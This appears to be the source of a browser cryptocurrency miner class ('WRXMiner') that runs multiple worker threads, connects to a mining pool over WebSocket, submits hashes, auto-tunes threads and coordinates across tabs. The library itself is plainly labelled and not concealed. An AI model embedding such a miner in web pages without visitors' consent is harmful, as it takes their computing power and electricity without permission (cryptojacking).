// miner/src/js/miner.js
import Job from './job'
import MineWorker from './mine-worker'

class Miner {
  constructor (user, options) {
    options = options || {}
    this._user = user
    this._threads = []
    this._hashes = 0
    this._currentJob = null
    this._autoReconnect = true
    this._reconnectRetry = 3
    this._totalHashesFromDeadThreads = 0
    this._throttle = Math.max(0, Math.min(.99, options.throttle || 0))
    this._autoThreads = {
      enabled: !!options.autoThreads,
      interval: null,
      adjustAt: null,
      adjustEvery: 1e4,
      stats: {}
    }
    this._tab = {
      ident: 16777215 * Math.random() | 0,
      mode: Job.IF_EXCLUSIVE_TAB,
      grace: 0,
      lastPingReceived: 0,
      interval: null
    }
    if (window.BroadcastChannel) try {
      this._bc = new BroadcastChannel('wrxminer')
      this._bc.onmessage = function (response) {
        if (response.data === 'ping') {
          this._tab.lastPingReceived = Date.now()
        }
      }.bind(this)
    } catch (error) {}
    this._eventListeners = {
      open: [],
      authed: [],
      close: [],
      error: [],
      job: [],
      found: [],
      accepted: []
    }
    const concurrency = navigator.hardwareConcurrency || 4
    this._targetNumThreads = options.threads || concurrency
    this._onTargetMetBound = this._onTargetMet.bind(this)
  }

  start (mode) {
    this._tab.mode = mode || Job.IF_EXCLUSIVE_TAB
    if (this._tab.interval) {
      clearInterval(this._tab.interval)
      this._tab.interval = null
    }
    this._startNow()
  }

  stop (message) {
    for (let i = 0; i < this._threads.length; ++i) {
      this._totalHashesFromDeadThreads += this._threads[i].hashesTotal
      this._threads[i].stop()
    }
    this._threads = []
    this._autoReconnect = false
    this._currentJob = null
    if (this._socket) {
      this._socket.close()
    }
    if (this._autoThreads.interval) {
      clearInterval(this._autoThreads.interval)
      this._autoThreads.interval = null
    }
    if (this._tab.interval && message !== 'dontKillTabUpdate') {
      clearInterval(this._tab.interval)
      this._tab.interval = null
    }
  }

  getHashesPerSecond () {
    let sum = 0
    for (let i = 0; i < this._threads.length; ++i)
      sum += this._threads[i].hashesPerSecond
    return sum
  }

  getTotalHashes () {
    let currentTimestamp = Date.now(),
        sum = this._totalHashesFromDeadThreads
    for (let i = 0; i < this._threads.length; ++i) {
      let thread = this._threads[i]
      sum += thread.hashesTotal
    }
    return 0 | sum
  }

  getAcceptedHashes () {
    return this._hashes
  }

  on (event, callback) {
    if (this._eventListeners[event]) {
      this._eventListeners[event].push(callback)
    }
  }

  getAutoThreadsEnabled () {
    return this._autoThreads.enabled
  }

  setAutoThreadsEnabled (enabled) {
    this._autoThreads.enabled = !!enabled
    if (!enabled && this._autoThreads.interval) {
      clearInterval(this._autoThreads.interval)
      this._autoThreads.interval = null
    } else if (enabled && !this._autoThreads.interval) {
      this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
      this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
    }
  }

  getThrottle () {
    return this._throttle
  }

  setThrottle (throttle) {
    this._throttle = Math.max(0, Math.min(.99, throttle))
    if (this._currentJob) {
      this._setJob(this._currentJob)
    }
  }

  getNumThreads () {
    return this._threads.length
  }

  setNumThreads (numThreads) {
    numThreads = Math.max(1, 0 | numThreads)
    if ((this._targetNumThreads = numThreads) > this._threads.length) {
      while (numThreads > this._threads.length) {
        let t = new MineWorker
        if (this._currentJob) {
          t.setJob(this._currentJob, this._onTargetMetBound)
        }
        this._threads.push(t)
      }
    } else if (numThreads < this._threads.length) {
      while (numThreads < this._threads.length) {
        let t = this._threads.pop()
        this._totalHashesFromDeadThreads += t.hashesTotal
        t.stop()
      }
    }
  }

  isRunning () {
    // return 0 < this._threads.length
    if (!this._socket) {
      return false
    }
    if (this._socket.readyState == WebSocket.CLOSED || this._socket.readyState == WebSocket.CLOSING) {
      return false
    }
    return true
  }

  _startNow () {
    if (this._tab.mode !== Job.FORCE_MULTI_TAB && !this._tab.interval) {
      this._tab.interval = setInterval(this._updateTabs.bind(this), 1e3)
    }
    if (this._tab.mode !== Job.IF_EXCLUSIVE_TAB || !this._otherTabRunning()) {
      if (this._tab.mode === Job.FORCE_EXCLUSIVE_TAB) {
        this._tab.grace = Date.now() + 3e3
      }
      this.setNumThreads(this._targetNumThreads)
      this._autoReconnect = true
      this._connect()
    }
  }

  _otherTabRunning () {
    if (this._tab.lastPingReceived > Date.now() - 1500) {
      return true
    }
    try {
      let currentMiner = localStorage.getItem('wrxminer')
      if (currentMiner) {
        const t = JSON.parse(currentMiner)
        if (t.ident !== this._tab.ident && Date.now() - t.time < 1500) {
          return true
        }
      }
    } catch (error) {}
    return false
  }

  _updateTabs () {
    const flag = this._otherTabRunning()
    if (flag && this.isRunning() && Date.now() > this._tab.grace) {
      this.stop('dontKillTabUpdate')
    } else if (!flag && !this.isRunning()) {
      this._startNow()
    }
    if (this.isRunning()) {
      if (this._bc) {
        this._bc.postMessage('ping')
      }
      try {
        localStorage.setItem('wrxminer', JSON.stringify({
          ident: this._tab.ident,
          time: Date.now()
        }))
      } catch (error) {}
    }
  }

  _adjustThreads () {
    const hashPerSecond = this.getHashesPerSecond(), numThreads = this.getNumThreads()
    let	  threadStats = this._autoThreads.stats
    threadStats[numThreads] = threadStats[numThreads] ? .5 * threadStats[numThreads] + .5 * hashPerSecond : hashPerSecond
    if (Date.now() > this._autoThreads.adjustAt) {
      this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
      const cur = (threadStats[numThreads] || 0) - 1,
            next = threadStats[numThreads + 1] || 0,
            prev = threadStats[numThreads - 1] || 0
      if (prev < cur && (0 === next || cur < next) && numThreads < 16) return this.setNumThreads(numThreads + 1)
      if (next < cur && (!prev || cur < prev) && 1 < numThreads) return this.setNumThreads(numThreads - 1)
    }
  }

  _emit (event, params) {
    const listeners = this._eventListeners[event]
    if (listeners && listeners.length) {
      for (let i = 0; i < listeners.length; ++i) {
        listeners[i](params)
      }
    }
  }

  // djb2 hash
  // http://www.cse.yorku.ca/~oz/hash.html
  _hashString (str) {
    let hash = 5381, l = str.length
    while (l) {
      hash = 33 * hash ^ str.charCodeAt(--l)
    }
    return hash >>> 0
  }

  _connect () {
    if (!this._socket) {
      const shards = Job.CONFIG.WEBSOCKET_SHARDS
      let   index = Math.floor(Math.random() * shards.length)
      const shard = shards[index]
      const url = shard[Math.random() * shard.length | 0]
      this._socket = new WebSocket(url)
      this._socket.onmessage = this._onMessage.bind(this)
      this._socket.onerror = this._onError.bind(this)
      this._socket.onclose = this._onClose.bind(this)
      this._socket.onopen = this._onOpen.bind(this)
    }
  }

  _onOpen () {
    this._emit('open')
    let data = {
      type: this._user ? 'user' : 'anonymous',
      user: this._user ? this._user.toString() : null
    }
    this._send('auth', data)
  }

  _onClose (response) {
    // https://github.com/Luka967/websocket-close-codes
    if (response.code >= 1003 && response.code <= 1009) {
      this._reconnectRetry = 60
    }
    for (let i = 0; i < this._threads.length; ++i) {
      this._threads[i].stop()
    }
    this._threads = []
    this._socket = null
    this._emit('close')
    if (this._autoReconnect) {
      setTimeout(this._startNow.bind(this), 1e3 * this._reconnectRetry)
    }
  }

  _onMessage (response) {
    const data = JSON.parse(response.data)
    switch(data.type) {
      case 'job':
        this._setJob(data.params)
        this._emit('job', data.params)
        if (this._autoThreads.enabled && !this._autoThreads.interval) {
          this._autoThreads.adjustAt = Date.now() + this._autoThreads.adjustEvery
          this._autoThreads.interval = setInterval(this._adjustThreads.bind(this), 1e3)
        }
        break
      case 'hash_accepted':
        this._hashes = data.params.hashes
        this._emit('accepted', data.params)
        break
      case 'authed':
        this._hashes = data.params.hashes || 0
        this._emit('authed', data.params)
        this._reconnectRetry = 3
        break
      case 'error':
        if (console && console.error) {
          console.error('WRXMiner Error:', data.params.error)
        }
        this._emit('error', data.params)
      break
      case 'banned':
        this._emit('error', {
          banned: true
        })
        this._reconnectRetry = 600
      break
      default:
        break
    }
  }

  _onError (response) {
    this._emit('error', {
      error: 'connection_error'
    })
    this._onClose(response)
  }

  _onTargetMet (job) {
    this._emit('found', job)
    if (job.job_id === this._currentJob.job_id) {
      this._send('submit', {
        job_id: job.job_id,
        nonce: job.nonce,
        result: job.result
      })
    }
  }

  _send (type, params) {
    if (this._socket) {
      const data = {
        type: type,
        params: params || {}
      }
      this._socket.send(JSON.stringify(data))
    }
  }

  _setJob (job) {
    this._currentJob = job
    this._currentJob.throttle = this._throttle
    for (let i = 0; i < this._threads.length; ++i) {
      this._threads[i].setJob(job, this._onTargetMetBound)
    }
  }
}

export {
  Miner as default
}
